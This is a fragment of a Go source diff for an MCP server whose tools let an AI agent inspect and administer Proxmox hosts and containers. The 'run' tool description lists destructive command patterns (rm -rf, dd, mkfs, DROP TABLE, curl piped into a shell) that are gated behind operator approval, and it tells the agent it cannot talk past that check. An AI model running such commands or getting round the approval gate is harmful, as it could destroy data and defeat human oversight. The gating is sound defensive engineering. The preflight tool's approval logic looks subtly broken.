}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
hours := int(getFloat(args, "hours", 24))
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT time_bucket('1 hour', ts) AS bucket,
|
|
||||||
entity_id::text, metric,
|
|
||||||
ROUND(avg(value)::numeric, 2) AS avg,
|
|
||||||
ROUND(min(value)::numeric, 2) AS min,
|
|
||||||
ROUND(max(value)::numeric, 2) AS max
|
|
||||||
FROM metric_samples
|
|
||||||
WHERE ts > now() - make_interval(hours => $1)
|
|
||||||
GROUP BY bucket, entity_id, metric
|
|
||||||
ORDER BY bucket DESC LIMIT 100`, hours), "metric_chart"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// ─── Phase 4: new tools ──────────────────────────────────────────
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_signal_history", Description: "Query open and recent signals",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"entity_slug", "string", "Filter by target entity slug"},
|
|
||||||
prop{"state", "string", "Filter by signal state (raised, resolved)"},
|
|
||||||
prop{"limit", "integer", "Max rows (default 50)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
limit := int(getFloat(args, "limit", 50))
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT s.entity_id::text, s.kind, s.severity, s.state,
|
|
||||||
s.occurrence_count, e.slug AS target_slug,
|
|
||||||
s.first_seen_at, s.last_seen_at
|
|
||||||
FROM signals s
|
|
||||||
LEFT JOIN entities e ON e.id = s.target_entity_id
|
|
||||||
WHERE ($1::text IS NULL OR e.slug = $1)
|
|
||||||
AND ($2::text IS NULL OR s.state = $2)
|
|
||||||
ORDER BY s.last_seen_at DESC LIMIT $3`,
|
|
||||||
nStr(args["entity_slug"]), nStr(args["state"]), limit), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_patterns", Description: "List learned action patterns",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"status", "string", "Filter by status (hypothesized, validated, active)"},
|
|
||||||
prop{"entity_type", "string", "Filter by applies_type"},
|
|
||||||
prop{"action", "string", "Filter by action"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT p.entity_id::text, p.applies_type, p.action, p.pattern,
|
|
||||||
p.confidence, p.evidence_count, p.success_count, p.failure_count,
|
|
||||||
p.status, p.quarantined, p.version, p.last_validated_at
|
|
||||||
FROM patterns p
|
|
||||||
WHERE ($1::text IS NULL OR p.status = $1)
|
|
||||||
AND ($2::text IS NULL OR p.applies_type = $2)
|
|
||||||
AND ($3::text IS NULL OR p.action = $3)
|
|
||||||
ORDER BY p.applies_type, p.action`,
|
|
||||||
nStr(args["status"]), nStr(args["entity_type"]), nStr(args["action"])), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_skills", Description: "List available automation skills",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"status", "string", "Filter by status (active, inactive, deprecated)"},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT s.entity_id::text, s.version, s.name, LEFT(s.procedure::text, 300) AS procedure_preview,
|
|
||||||
s.applies_type, s.action, s.status, s.success_rate,
|
|
||||||
s.changed_by::text, s.change_reason, s.last_used_at
|
|
||||||
FROM skills s
|
|
||||||
WHERE ($1::text IS NULL OR s.status = $1)
|
|
||||||
ORDER BY s.name, s.version DESC`,
|
|
||||||
nStr(args["status"])), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// ── request_execution (legacy fixed enum) retired 2026-07-14 ──
|
|
||||||
// All mutations now route through `run`. The handler functions
|
|
||||||
// (runRexecRestart, runRexecSystemctl, etc.) are kept as reference
|
|
||||||
// for future runbook extraction — especially pct_create DNS/VMID logic.
|
|
||||||
// DO NOT re-register this tool. See plans/2026-07-10-general-gated-execution.md.
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "run", Description: "Run ANY shell command against any host or LXC. This is the general execution primitive — prefer it over asking the operator to run something manually, and don't wait for a matching fixed action to exist. Every command is automatically risk-classified: read-only inspection (cat, systemctl status, docker ps, journalctl, df, git status, ...) runs immediately; anything that changes state requires operator approval (granted by the operator replying \"go ahead\"/\"yes\" in chat, or via the Approve button); commands matching a destructive pattern (rm -rf, dd, mkfs, pct/qm destroy, DROP TABLE, reboot, piping curl into a shell, ...) always require approval regardless of what you declare. You cannot talk your way past the destructive check by declaring a lower risk.",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"target", "string", "Target entity slug: host:<slug> (e.g. host:strong) or lxc:<slug> (e.g. lxc:caddy). LXC commands run via pct exec on its Proxmox host automatically."},
|
|
||||||
prop{"command", "string", "The shell command to run. Can be a full script (multi-line, &&-chained). Runs as root."},
|
|
||||||
prop{"purpose", "string", "One sentence: why you're running this. Shown to the operator alongside the approval — be specific, this is what they're approving."},
|
|
||||||
prop{"declared_risk", "string", "Optional self-assessment: read_only, reversible_low, config_mutation, or destructive. This can only ESCALATE the automatic classification, never lower it — declaring a mutating command as read_only has no effect."},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
targetSlug, _ := args["target"].(string)
|
|
||||||
command, _ := args["command"].(string)
|
|
||||||
purpose, _ := args["purpose"].(string)
|
|
||||||
declaredRisk, _ := args["declared_risk"].(string)
|
|
||||||
sessionID, _ := args["_session_id"].(string)
|
|
||||||
if targetSlug == "" || command == "" {
|
|
||||||
return textResult("error: target and command are required"), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
var targetID uuid.UUID
|
|
||||||
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", targetSlug).Scan(&targetID); err != nil {
|
|
||||||
return textResult(fmt.Sprintf("target not found: %s", targetSlug)), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return classifyAndGate(ctx, pool, agentID, targetID, targetSlug, command, purpose, declaredRisk, sessionID), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "http_get", Description: "Fetch a public web page or raw file (e.g. a GitHub README/raw URL) and return sanitized text. Use this to research how to deploy a service before provisioning. HTTP/HTTPS only; body is truncated to ~16KB.",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"url", "string", "Absolute http(s) URL to fetch"},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
rawURL, _ := args["url"].(string)
|
|
||||||
return httpGet(ctx, rawURL), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_execution_status", Description: "Check the status of a requested execution",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"execution_id", "string", "Execution UUID (from request_execution output)"},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
execID, _ := args["execution_id"].(string)
|
|
||||||
if execID == "" {
|
|
||||||
return textResult("execution_id required"), nil
|
|
||||||
}
|
|
||||||
eid, err := uuid.Parse(execID)
|
|
||||||
if err != nil {
|
|
||||||
// Try finding by exec slug prefix
|
|
||||||
var found uuid.UUID
|
|
||||||
err2 := pool.QueryRow(ctx, "SELECT entity_id FROM executions WHERE entity_id::text LIKE $1 LIMIT 1", execID+"%").Scan(&found)
|
|
||||||
if err2 != nil {
|
|
||||||
return textResult(fmt.Sprintf("execution not found: %s", execID)), nil
|
|
||||||
}
|
|
||||||
eid = found
|
|
||||||
}
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT e.entity_id::text, e.action, e.risk_class, e.status,
|
|
||||||
e.result::text, e.duration_ms, e.started_at::text,
|
|
||||||
e.completed_at::text, e.correlation_id
|
|
||||||
FROM executions e
|
|
||||||
WHERE e.entity_id = $1`, eid), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_trend", Description: "Get metric trends for an entity",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"entity_id", "string", "Entity slug"},
|
|
||||||
prop{"days", "integer", "Look-back window in days (default 7)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["entity_id"].(string)
|
|
||||||
days := int(getFloat(args, "days", 7))
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT metric,
|
|
||||||
ROUND(avg(value)::numeric, 2) AS avg_val,
|
|
||||||
ROUND(stddev(value)::numeric, 2) AS std_val,
|
|
||||||
count(*) AS sample_count,
|
|
||||||
ROUND(regr_slope(value, EXTRACT(EPOCH FROM ts)::numeric)::numeric, 4) AS slope
|
|
||||||
FROM metric_samples ms
|
|
||||||
JOIN entities e ON e.id = ms.entity_id
|
|
||||||
WHERE e.slug = $1 AND ts >= now() - make_interval(days => $2)
|
|
||||||
GROUP BY metric
|
|
||||||
ORDER BY metric`, slug, days), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_event_timeline", Description: "Get recent events",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"severity", "string", "Filter by severity (info, warn, error)"},
|
|
||||||
prop{"entity_slug", "string", "Filter by entity slug"},
|
|
||||||
prop{"limit", "integer", "Max rows (default 50)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
limit := int(getFloat(args, "limit", 50))
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT ev.ts, ev.type, ev.severity, ev.source, e.slug AS entity_slug,
|
|
||||||
ev.data::text AS message, ev.correlation_id
|
|
||||||
FROM events ev
|
|
||||||
LEFT JOIN entities e ON e.id = ev.entity_id
|
|
||||||
WHERE ($1::text IS NULL OR ev.severity = $1)
|
|
||||||
AND ($2::text IS NULL OR e.slug = $2)
|
|
||||||
ORDER BY ev.ts DESC LIMIT $3`,
|
|
||||||
nStr(args["severity"]), nStr(args["entity_slug"]), limit), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_agent_activity", Description: "Agent self-inspection: query agent activity log",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"limit", "integer", "Max rows (default 50)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
limit := int(getFloat(args, "limit", 50))
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT id, ts, agent_id::text, session_id, activity_type, tool_name,
|
|
||||||
entity_id::text, left(input_summary, 200) AS input_summary,
|
|
||||||
left(output_summary, 200) AS output_summary,
|
|
||||||
duration_ms, token_count, success, correlation_id
|
|
||||||
FROM agent_activity
|
|
||||||
WHERE agent_id = $1
|
|
||||||
ORDER BY ts DESC LIMIT $2`, agentID, limit), "change_log"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// ─── Phase 5: operational MCP tools ──────────────────────────────
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "list_lxcs", Description: "List all LXC containers with ID, host, IP, state, and last-audited hint. Pass state=\"active\" to exclude destroyed/deprecated containers. The last_audited_at column shows the most recent knowledge entry (investigation or document tagged audit/update) linked via an 'about' edge — use it to skip re-running `run` against LXCs that were already audited recently.",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"state", "string", "Optional: filter by entity state (active, destroyed, …)"},
|
|
||||||
),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
state, _ := argsMap(req)["state"].(string)
|
|
||||||
var statePtr *string
|
|
||||||
if state != "" {
|
|
||||||
statePtr = &state
|
|
||||||
}
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.name, e.attributes->>'pve_id' AS pve_id,
|
|
||||||
e.attributes->>'lan_ip' AS lan_ip,
|
|
||||||
e.state,
|
|
||||||
st.health, st.last_check_at,
|
|
||||||
(SELECT MAX(k.created_at)
|
|
||||||
FROM relationships r
|
|
||||||
JOIN knowledge_entities k ON k.entity_id = r.source_id
|
|
||||||
WHERE r.target_id = e.id
|
|
||||||
AND r.type = 'about'
|
|
||||||
AND r.valid_to IS NULL
|
|
||||||
AND (k.tags @> ARRAY['audit']::text[]
|
|
||||||
OR k.tags @> ARRAY['update']::text[]
|
|
||||||
OR k.title ILIKE '%audit%'
|
|
||||||
OR k.title ILIKE '%update%')
|
|
||||||
) AS last_audited_at
|
|
||||||
FROM entities e
|
|
||||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
|
||||||
WHERE e.type = 'lxc'
|
|
||||||
AND ($1::text IS NULL OR e.state = $1)
|
|
||||||
ORDER BY CASE WHEN e.state = 'active' THEN 0 ELSE 1 END,
|
|
||||||
(e.attributes->>'pve_id')::int`, statePtr), "lxc_list"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "ping_service", Description: "Check if a service is reachable via HTTP",
|
|
||||||
InputSchema: objSchema(prop{"service_slug", "string", "Service entity slug"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["service_slug"].(string)
|
|
||||||
if slug == "" {
|
|
||||||
return textResult("service_slug is required"), nil
|
|
||||||
}
|
|
||||||
rows, err := pool.Query(ctx, `
|
|
||||||
SELECT st.health, st.last_check_at, e.attributes->>'url' AS url
|
|
||||||
FROM entity_status st
|
|
||||||
JOIN entities e ON e.id = st.entity_id
|
|
||||||
WHERE e.slug = $1`, slug)
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("query error: %v", err)), nil
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
if !rows.Next() {
|
|
||||||
return textResult(fmt.Sprintf("service not found: %s", slug)), nil
|
|
||||||
}
|
|
||||||
var health, lastCheck, url string
|
|
||||||
rows.Scan(&health, &lastCheck, &url)
|
|
||||||
if url == "" {
|
|
||||||
url = "(no URL in entity attributes)"
|
|
||||||
}
|
|
||||||
return textResult(fmt.Sprintf("health=%s last_check=%s url=%s", health, lastCheck, url)), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "tail_log", Description: "Get recent log lines from a service via journalctl",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"service_slug", "string", "Service entity slug (e.g. lxc:caddy)"},
|
|
||||||
prop{"lines", "integer", "Number of lines (default 50)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["service_slug"].(string)
|
|
||||||
n := int(getFloat(args, "lines", 50))
|
|
||||||
if slug == "" {
|
|
||||||
return textResult("service_slug is required"), nil
|
|
||||||
}
|
|
||||||
host, user, err := resolveHost(ctx, pool, slug)
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("resolve host: %v", err)), nil
|
|
||||||
}
|
|
||||||
svc := strings.TrimPrefix(slug, "lxc:")
|
|
||||||
out, err := sshExec(ctx, host, user, fmt.Sprintf("journalctl -u %s -n %d --no-pager 2>&1 || true", svc, n))
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("ssh: %v", err)), nil
|
|
||||||
}
|
|
||||||
return textResult(out), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_service_status", Description: "Check systemd service status on a host",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"service_slug", "string", "Service entity slug (e.g. lxc:caddy)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["service_slug"].(string)
|
|
||||||
if slug == "" {
|
|
||||||
return textResult("service_slug is required"), nil
|
|
||||||
}
|
|
||||||
host, user, err := resolveHost(ctx, pool, slug)
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("resolve host: %v", err)), nil
|
|
||||||
}
|
|
||||||
svc := strings.TrimPrefix(slug, "lxc:")
|
|
||||||
out, err := sshExec(ctx, host, user,
|
|
||||||
fmt.Sprintf("systemctl is-active %s; systemctl is-enabled %s; systemctl show %s -p ActiveEnterTimestamp -p SubState 2>&1 || true", svc, svc, svc))
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("ssh: %v", err)), nil
|
|
||||||
}
|
|
||||||
return textResult(out), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_lxc_state", Description: "Get LXC container resource state from Proxmox host",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"lxc_slug", "string", "LXC entity slug (e.g. lxc:caddy)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["lxc_slug"].(string)
|
|
||||||
if slug == "" {
|
|
||||||
return textResult("lxc_slug is required"), nil
|
|
||||||
}
|
|
||||||
var pveID string
|
|
||||||
err := pool.QueryRow(ctx, "SELECT attributes->>'pve_id' FROM entities WHERE slug = $1", slug).Scan(&pveID)
|
|
||||||
if err != nil || pveID == "" {
|
|
||||||
return textResult(fmt.Sprintf("LXC not found or missing pve_id: %s", slug)), nil
|
|
||||||
}
|
|
||||||
// Resolve the Proxmox host — find the host that runs this LXC
|
|
||||||
var hostID uuid.UUID
|
|
||||||
err = pool.QueryRow(ctx, `
|
|
||||||
SELECT t.id FROM entities t
|
|
||||||
JOIN relationships r ON r.source_id = t.id
|
|
||||||
JOIN entities s ON s.id = r.target_id
|
|
||||||
WHERE s.slug = $1 AND r.type = 'hosts' AND r.valid_to IS NULL
|
|
||||||
LIMIT 1`, slug).Scan(&hostID)
|
|
||||||
if err != nil {
|
|
||||||
// Fallback: use the inventory host attribute if no relationship
|
|
||||||
var hostSlug string
|
|
||||||
err = pool.QueryRow(ctx, "SELECT attributes->>'host' FROM entities WHERE slug = $1", slug).Scan(&hostSlug)
|
|
||||||
if err != nil || hostSlug == "" {
|
|
||||||
return textResult(fmt.Sprintf("cannot resolve Proxmox host for %s", slug)), nil
|
|
||||||
}
|
|
||||||
var host, user string
|
|
||||||
host, user, err = resolveHost(ctx, pool, "host:"+hostSlug)
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("resolve: %v", err)), nil
|
|
||||||
}
|
|
||||||
out, err2 := sshExec(ctx, host, user, fmt.Sprintf("pct status %s --verbose 2>&1 || true", pveID))
|
|
||||||
if err2 != nil {
|
|
||||||
return textResult(fmt.Sprintf("ssh: %v", err2)), nil
|
|
||||||
}
|
|
||||||
return textResult(out), nil
|
|
||||||
}
|
|
||||||
var hostSlug string
|
|
||||||
pool.QueryRow(ctx, "SELECT slug FROM entities WHERE id = $1", hostID).Scan(&hostSlug)
|
|
||||||
host, user, err := resolveHost(ctx, pool, hostSlug)
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("resolve host: %v", err)), nil
|
|
||||||
}
|
|
||||||
out, err := sshExec(ctx, host, user, fmt.Sprintf("pct status %s --verbose 2>&1 || true", pveID))
|
|
||||||
if err != nil {
|
|
||||||
return textResult(fmt.Sprintf("ssh: %v", err)), nil
|
|
||||||
}
|
|
||||||
return textResult(out), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
// ─── Client introspection tools (plan: client-lifecycle Phase 3) ──
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "whoami", Description: "Get the current entity record, peers, and health for a host",
|
|
||||||
InputSchema: objSchema(prop{"hostname", "string", "Hostname of the calling machine"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
hostname, _ := args["hostname"].(string)
|
|
||||||
if hostname == "" {
|
|
||||||
return textResult("error: hostname required"), nil
|
|
||||||
}
|
|
||||||
slug := "ws:" + hostname
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.type, e.name, e.state,
|
|
||||||
COALESCE(st.health, 'unknown') AS health,
|
|
||||||
COALESCE(st.last_check_at::text, '') AS last_check,
|
|
||||||
e.attributes->>'mesh_ip' AS mesh_ip,
|
|
||||||
e.attributes->>'age_pubkey' AS age_pubkey,
|
|
||||||
e.enrolled_at
|
|
||||||
FROM entities e
|
|
||||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
|
||||||
WHERE e.slug = $1
|
|
||||||
ORDER BY e.slug`, slug), "entity_card"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "explain", Description: "Compact context card for a service: type, state, health, relations, risk",
|
|
||||||
InputSchema: objSchema(prop{"service_slug", "string", "Service entity slug (e.g. service:jellyfin, lxc:caddy)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["service_slug"].(string)
|
|
||||||
if slug == "" {
|
|
||||||
return textResult("error: service_slug required"), nil
|
|
||||||
}
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.type, e.name, e.state,
|
|
||||||
COALESCE(st.health, 'unknown') AS health,
|
|
||||||
COALESCE(st.last_check_at::text, '') AS last_check,
|
|
||||||
e.version, e.updated_at,
|
|
||||||
COALESCE(e.attributes::text, '{}') AS attrs
|
|
||||||
FROM entities e
|
|
||||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
|
||||||
WHERE e.slug = $1`, slug), "entity_card"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "preflight", Description: "Risk classification for an action on a service",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"service_slug", "string", "Entity slug"},
|
|
||||||
prop{"action", "string", "Planned action (restart, deploy, destroy, etc.)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["service_slug"].(string)
|
|
||||||
action, _ := args["action"].(string)
|
|
||||||
if slug == "" || action == "" {
|
|
||||||
return textResult("error: service_slug and action required"), nil
|
|
||||||
}
|
|
||||||
return queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.type, e.state,
|
|
||||||
CASE
|
|
||||||
WHEN $2 IN ('restart', 'logs', 'status') THEN 'reversible_low'
|
|
||||||
WHEN $2 IN ('deploy', 'upgrade', 'configure') THEN 'config_mutation'
|
|
||||||
WHEN $2 IN ('destroy', 'wipe', 'revoke') THEN 'destructive'
|
|
||||||
ELSE 'read_only'
|
|
||||||
END AS risk_class,
|
|
||||||
CASE
|
|
||||||
WHEN $2 IN ('read_only','reversible_low') THEN 'auto-act'
|
|
||||||
WHEN $2 = 'config_mutation' THEN 'operator-approval'
|
|
||||||
ELSE 'operator-approval+confirmation'
|
|
||||||
END AS approval
|
|
||||||
FROM entities e WHERE e.slug = $1`, slug, action), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
|
|
||||||
InputSchema: objSchema(
|
|
||||||
prop{"entity_slug", "string", "Entity slug"},
|
|
||||||
prop{"limit", "integer", "Max entries (default 20)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
slug, _ := args["entity_slug"].(string)
|
|
||||||
limit := int(getFloat(args, "limit", 20))
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT al.ts AS timestamp, al.actor_type, al.actor_id::text AS actor_label,
|
|
||||||
al.action, al.method, al.path,
|
|
||||||
al.detail::text AS details
|
|
||||||
FROM audit_log al
|
|
||||||
JOIN entities e ON e.id = al.entity_id
|
|
||||||
WHERE e.slug = $1
|
|
||||||
ORDER BY al.ts DESC
|
|
||||||
LIMIT $2`, slug, limit), "change_log"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "get_state_snapshot", Description: "Last scheduler Observe-pass: fleet health, disk, drift count",
|
|
||||||
InputSchema: objSchema(),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
return annotateJSONResult(queryRows(ctx, pool, `
|
|
||||||
SELECT e.slug, e.type, e.state,
|
|
||||||
COALESCE(st.health, 'unknown') AS health,
|
|
||||||
COALESCE(st.last_check_at::text, '') AS last_check
|
|
||||||
FROM entities e
|
|
||||||
LEFT JOIN entity_status st ON st.entity_id = e.id
|
|
||||||
WHERE e.state IS NOT NULL
|
|
||||||
OR st.health IS NOT NULL
|
|
||||||
ORDER BY st.health, e.slug
|
|
||||||
LIMIT 200
|
|
||||||
`), "fleet_snapshot"), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
register(&mcp.Tool{Name: "list_my_secrets", Description: "List secrets accessible to this client by public key",
|
|
||||||
InputSchema: objSchema(prop{"caller_pubkey", "string", "Age public key of the caller (optional)"}),
|
|
||||||
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
|
||||||
args := argsMap(req)
|
|
||||||
pubkey, _ := args["caller_pubkey"].(string)
|
|
||||||
// Match entities where age_pubkey attribute contains the caller's key.
|
|
||||||
query := `
|
|
||||||
SELECT e.slug, e.type, e.name,
|
|
||||||
e.attributes->>'age_pubkey' AS age_pubkey
|
|
||||||
FROM entities e
|
|
||||||
WHERE e.attributes->>'age_pubkey' IS NOT NULL`
|
|
||||||
var dbArgs []any
|
|
||||||
if pubkey != "" {
|
|
||||||
query += ` AND e.attributes->>'age_pubkey' = $1`
|
|
||||||
dbArgs = append(dbArgs, pubkey)
|
|
||||||
}
|
|
||||||
query += ` ORDER BY e.slug LIMIT 100`
|
|
||||||
return queryRows(ctx, pool, query, dbArgs...), nil
|
|
||||||
})
|
|
||||||
|
|
||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1210,16 +511,27 @@ func isPrivateHost(host string) bool {
|
|||||||
return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsUnspecified()
|
return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsUnspecified()
|
||||||
}
|
}
|
||||||
|
|
||||||
// resolveExecTarget resolves any target slug (host: or lxc:) to the SSH
|
// resolveExecTarget resolves any target slug (host:, lxc:, or vm:) to the SSH
|
||||||
// endpoint that will actually run the command, and a wrap function that turns
|
// endpoint that will actually run the command, and a wrap function that turns
|
||||||
// a plain shell command into whatever must actually be sent over that SSH
|
// a plain shell command into whatever must actually be sent over that SSH
|
||||||
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC.
|
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC,
|
||||||
|
// `qm guest exec <pve_id> -- ...` for a VM.
|
||||||
//
|
//
|
||||||
// The lxc.attributes.host value is stored WITHOUT a "host:" prefix (e.g.
|
// The lxc.attributes.host value is stored WITHOUT a "host:" prefix (e.g.
|
||||||
// "strong", not "host:strong") — see pct_create's entity registration. The
|
// "strong", not "host:strong") — see pct_create's entity registration. The
|
||||||
// pre-existing pct_exec handler queried resolveHost with that bare value
|
// pre-existing pct_exec handler queried resolveHost with that bare value
|
||||||
// directly, which can never match a "host:*" slug and always fails; this
|
// directly, which can never match a "host:*" slug and always fails; this
|
||||||
// prefixes it correctly.
|
// prefixes it correctly.
|
||||||
|
//
|
||||||
|
// vm: support (2026-07-18): VMs in inventory.yaml carry `pve_id` and a `host`
|
||||||
|
// attribute (or a `hosts` relationship) just like LXCs, but they're reached
|
||||||
|
// via `qm guest exec` instead of `pct exec`. Previously the agent had to
|
||||||
|
// SSH-hop via `host:hubris` to reach a VM (e.g. `ssh root@<vm_ip> '...'`),
|
||||||
|
// which broke on nested shell quoting and forced manual escaping workarounds
|
||||||
|
// — see plans/2026-07-18-session-review-three-sessions.md P1.6. A VM's
|
||||||
|
// `host` attribute is optional: if absent, fall back to looking up the
|
||||||
|
// `hosts` relationship on the VM entity, then to hubris (the documented
|
||||||
|
// default Proxmox host) — same fallback chain as LXCs.
|
||||||
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
|
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
|
||||||
if strings.HasPrefix(targetSlug, "host:") {
|
if strings.HasPrefix(targetSlug, "host:") {
|
||||||
host, user, err = resolveHost(ctx, pool, targetSlug)
|
host, user, err = resolveHost(ctx, pool, targetSlug)
